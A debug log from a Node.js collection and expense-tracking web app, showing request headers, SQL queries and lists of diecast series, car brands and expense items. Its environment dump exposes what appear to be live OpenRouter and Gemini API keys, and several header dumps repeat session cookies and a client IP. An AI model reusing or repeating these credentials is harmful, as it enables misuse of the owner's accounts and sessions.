    'HTTP_SEC_CH-UA-MOBILE': '?0',
    HTTP_ACCEPT: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'no-cors',
    'HTTP_SEC_FETCH-DEST': 'image',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast?brand=&search=&series=194&manufacturer=&condition=',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    HTTP_PRIORITY: 'i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-02-04T10:06:08.028Z server-connect:router Serving templateView /diecast
2026-02-04T10:06:08.028Z server-connect:app Executing action step identify
2026-02-04T10:06:08.028Z server-connect:app options: { provider: 'security' }
2026-02-04T10:06:08.028Z server-connect:output identity: 1
2026-02-04T10:06:08.028Z server-connect:app Executing action step restrict
2026-02-04T10:06:08.028Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T10:06:08.029Z server-connect:output restrict: undefined
2026-02-04T10:06:08.029Z server-connect:router Render template layouts/main
2026-02-04T10:06:08.030Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {
    brand: '',
    search: '',
    series: '194',
    manufacturer: '',
    condition: ''
  },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/diecast',
    QUERY_STRING: 'brand=&search=&series=194&manufacturer=&condition=',
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/diecast',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/diecast'
}
2026-02-04T10:06:08.958Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T10:06:08.959Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-04T10:06:08.960Z server-connect:router Serving serverConnect /api/masters/get-items
2026-02-04T10:06:08.961Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-04T10:06:08.961Z server-connect:app Executing action step identify
2026-02-04T10:06:08.961Z server-connect:app options: { provider: 'security' }
2026-02-04T10:06:08.962Z server-connect:output identity: 1
2026-02-04T10:06:08.962Z server-connect:app Executing action step restrict
2026-02-04T10:06:08.962Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:06:08.963Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-04T10:06:08.963Z server-connect:output restrict: undefined
2026-02-04T10:06:08.963Z server-connect:app Executing action step paged
2026-02-04T10:06:08.963Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T10:06:08.964Z server-connect:app Executing action step identify
2026-02-04T10:06:08.964Z server-connect:app options: { provider: 'security' }
2026-02-04T10:06:08.964Z server-connect:output identity: 1
2026-02-04T10:06:08.964Z server-connect:app Executing action step restrict
2026-02-04T10:06:08.964Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:06:08.965Z server-connect:app Executing action step identify
2026-02-04T10:06:08.965Z server-connect:app options: { provider: 'security' }
2026-02-04T10:06:08.965Z server-connect:output identity: 1
2026-02-04T10:06:08.965Z server-connect:app Executing action step restrict
2026-02-04T10:06:08.966Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:06:08.967Z server-connect:router Serving serverConnect /api/access-control/user-info
2026-02-04T10:06:08.967Z server-connect:app Executing action step identify
2026-02-04T10:06:08.967Z server-connect:app options: { provider: 'security' }
2026-02-04T10:06:08.967Z server-connect:output identity: 1
2026-02-04T10:06:08.967Z server-connect:app Executing action step restrict
2026-02-04T10:06:08.967Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:06:08.968Z server-connect:app Executing action step identify
2026-02-04T10:06:08.968Z server-connect:app options: { provider: 'security' }
2026-02-04T10:06:08.968Z server-connect:output identity: 1
2026-02-04T10:06:08.969Z server-connect:app Executing action step restrict
2026-02-04T10:06:08.969Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:06:08.970Z server-connect:app Executing action step identify
2026-02-04T10:06:08.971Z server-connect:app options: { provider: 'security' }
2026-02-04T10:06:08.971Z server-connect:output identity: 1
2026-02-04T10:06:08.971Z server-connect:app Executing action step restrict
2026-02-04T10:06:08.971Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:06:08.972Z server-connect:output restrict: undefined
2026-02-04T10:06:08.972Z server-connect:app Executing action step select
2026-02-04T10:06:08.972Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-04T10:06:08.972Z server-connect:output restrict: undefined
2026-02-04T10:06:08.972Z server-connect:app Executing action step select
2026-02-04T10:06:08.972Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2026-02-04T10:06:08.973Z server-connect:output restrict: undefined
2026-02-04T10:06:08.973Z server-connect:app Executing action step select
2026-02-04T10:06:08.973Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-04T10:06:08.974Z server-connect:output restrict: undefined
2026-02-04T10:06:08.974Z server-connect:app Executing action step select
2026-02-04T10:06:08.974Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-04T10:06:08.975Z server-connect:output restrict: undefined
2026-02-04T10:06:08.975Z server-connect:app Executing action step single
2026-02-04T10:06:08.975Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2026-02-04T10:06:08.976Z server-connect:output list: [
  { name: 'Mainline', id: 75 },
  { name: 'Premium', id: 76 },
  { name: 'Treasure Hunt', id: 77 },
  { name: 'Super Treasure Hunt', id: 78 },
  { name: 'Car Culture', id: 79 },
  { name: 'HW Red Line Club', id: 80 },
  { name: 'Multipack', id: 81 },
  { name: 'Exclusive', id: 82 },
  { name: 'Moving Parts', id: 83 },
  { name: 'Collectors', id: 84 },
  { name: 'Racing Cars', id: 85 },
  { name: 'Vintage', id: 86 },
  { name: 'Deluxe Cars', id: 87 },
  { name: 'Giftpack', id: 88 },
  { name: 'Construction', id: 89 },
  { name: 'Emergency', id: 90 },
  { name: 'Basic', id: 91 },
  { name: 'Fantasy', id: 92 },
  { name: 'Other', id: 93 },
  { name: 'HW Dirt', id: 94 },
  { name: 'HW Race day', id: 95 },
  { name: 'HW Muscle Mania', id: 96 },
  { name: 'HW Hot Trucks', id: 97 },
  { name: 'HW Celebration Racers', id: 98 },
  { name: 'HW 70s vs 90s', id: 99 },
  { name: 'HW Track Champs', id: 100 },
  { name: 'HW Then and now', id: 101 },
  { name: 'HW Wagons', id: 102 },
  { name: 'HW Modified', id: 103 },
  { name: 'HW Wide Widebody', id: 104 },
  { name: 'HW Art Cars', id: 105 },
  { name: 'HW Peak Pursuit', id: 106 },
  { name: 'HW EV', id: 107 },
  { name: 'HW Safari Mode', id: 144 },
  { name: 'HW Factory Fresh', id: 145 },
  { name: 'HW Track Aces', id: 146 },
  { name: 'HW Mustang 60th', id: 147 },
  { name: 'HW Wild Widebody', id: 148 },
  { name: 'HW Compact Kings', id: 149 },
  { name: 'HW Reverse Rake', id: 150 },
  { name: 'HW Rod Squad', id: 151 },
  { name: 'HW Fan Driver', id: 159 },
  { name: "HW Truckin' Along", id: 160 },
  { name: 'HW Batman', id: 161 },
  { name: 'Neon Speeders - Mix 2', id: 162 },
  { name: 'HW Starting Grid', id: 163 },
  { name: 'HW Nightspeed', id: 164 },
  { name: 'HW Metro', id: 165 },
  { name: 'HW Experimotors', id: 166 },
  { name: 'HW Exotics', id: 170 },
  { name: 'Majorette Dream Italy Gift Set', id: 171 },
  { name: 'Majorette Light Racer Gift Set', id: 172 },
  { name: 'Majorette Porsche Edition Gift Set', id: 173 },
  { name: 'Majorette Limited Edition 9 Gift Set', id: 174 },
  { name: 'HW Silver Series', id: 176 },
  { name: 'HW Ride-Ons', id: 178 },
  { name: 'HW Euro', id: 179 },
  { name: 'HW Pantone', id: 180 },
  { name: 'HW Pop Culture', id: 181 },
  { name: 'Majorette Black Edition Gift Set', id: 193 },
  { name: 'Majorette Mercedes AMG Gift Set', id: 194 },
  { name: 'Majorette Castheads Gift Set', id: 195 }
]
2026-02-04T10:06:08.980Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2026-02-04T10:06:08.981Z server-connect:output list: [
  { name: 'Hotwheels', id: 71 },
  { name: 'Majorette', id: 72 },
  { name: 'Matchbox', id: 73 },
  { name: 'Bburago', id: 74 },
  { name: 'Maisto', id: 143 },
  { name: 'CCA', id: 158 },
  { name: 'Jams Toys', id: 191 }
]
2026-02-04T10:06:08.982Z server-connect:output list: [
  { name: 'Ford', id: 108 },
  { name: 'Renault', id: 109 },
  { name: 'Citroën', id: 110 },
  { name: 'Volkswagen', id: 111 },
  { name: 'Honda', id: 112 },
  { name: 'Mercedes', id: 113 },
  { name: 'McLaren', id: 114 },
  { name: 'Lamborghini', id: 115 },
  { name: 'Nissan', id: 116 },
  { name: 'Land Rover', id: 117 },
  { name: 'Chevrolet', id: 118 },
  { name: 'Toyota', id: 119 },
  { name: 'Mitsubishi', id: 120 },
  { name: 'Peugeot', id: 121 },
  { name: 'Jeep', id: 122 },
  { name: 'Volvo', id: 123 },
  { name: 'Ferrari', id: 124 },
  { name: 'Bentley', id: 125 },
  { name: 'BMW', id: 126 },
  { name: 'Dodge', id: 127 },
  { name: 'Alfa Romeo', id: 128 },
  { name: 'Bugatti', id: 129 },
  { name: 'Porsche', id: 130 },
  { name: 'Scania', id: 131 },
  { name: 'Audi', id: 132 },
  { name: 'Jaguar', id: 133 },
  { name: 'Pontiac', id: 134 },
  { name: 'Czinger', id: 135 },
  { name: 'Austin', id: 136 },
  { name: 'Mazda', id: 137 },
  { name: 'Gordon Murray', id: 138 },
  { name: 'Formula', id: 139 },
  { name: 'GMC', id: 140 },
  { name: 'Ferrari', id: 141 },
  { name: 'Fantasy', id: 142 },
  { name: 'Corvette ', id: 152 },
  { name: 'Subaru', id: 153 },
  { name: 'Polaris ', id: 154 },
  { name: 'MBX', id: 155 },
  { name: 'Masserti', id: 157 },
  { name: 'Mcmurtry', id: 167 },
  { name: 'Pagani', id: 168 },
  { name: 'Cadillac', id: 169 },
  { name: 'Suzuki', id: 175 },
  { name: 'Spider Man', id: 183 },
  { name: 'Lucid', id: 184 },
  { name: 'Lotus', id: 185 },
  { name: 'Datsun', id: 186 },
  { name: 'RAM', id: 189 },
  { name: 'Plymouth', id: 190 },
  { name: 'Pierce', id: 192 }
]
2026-02-04T10:06:08.983Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 5,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      id: 175,
      model_name: 'Mercedes-AMG GT R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 174,
      model_name: 'Mercedes-AMG GLC 63 S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 173,
      model_name: 'Mercedes-AMG A 35',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
